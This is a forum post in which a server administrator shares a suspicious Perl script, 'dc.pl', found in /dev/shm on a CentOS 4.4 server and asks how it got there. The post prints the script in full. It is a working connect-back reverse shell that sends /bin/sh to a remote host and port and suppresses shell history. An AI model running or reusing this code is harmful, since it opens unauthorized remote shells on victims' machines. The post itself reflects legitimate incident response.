Dc.pl Found In /dev/shm

Found a suspicious script running on a server in /dev/shm

Code:
#!/usr/bin/perl
use IO::Socket;
$system = '/bin/sh';
$ARGC=@ARGV;
print "Connect Back (S) 2007

";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port]

";
die "Ex: $0 127.0.0.1 2121
";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host
";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host
";
print "[*] Connecting... $ARGV[0]
";
print "[*] Spawning Shell
";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("unset HISTFILE; unset SAVEHIST ;echo;id;uname -a;w");
system($system);
#EOF
Removed it, changed all passwords, etc, anyone know how this might've gotten into /dev/shm? ( CentOS 4.4 )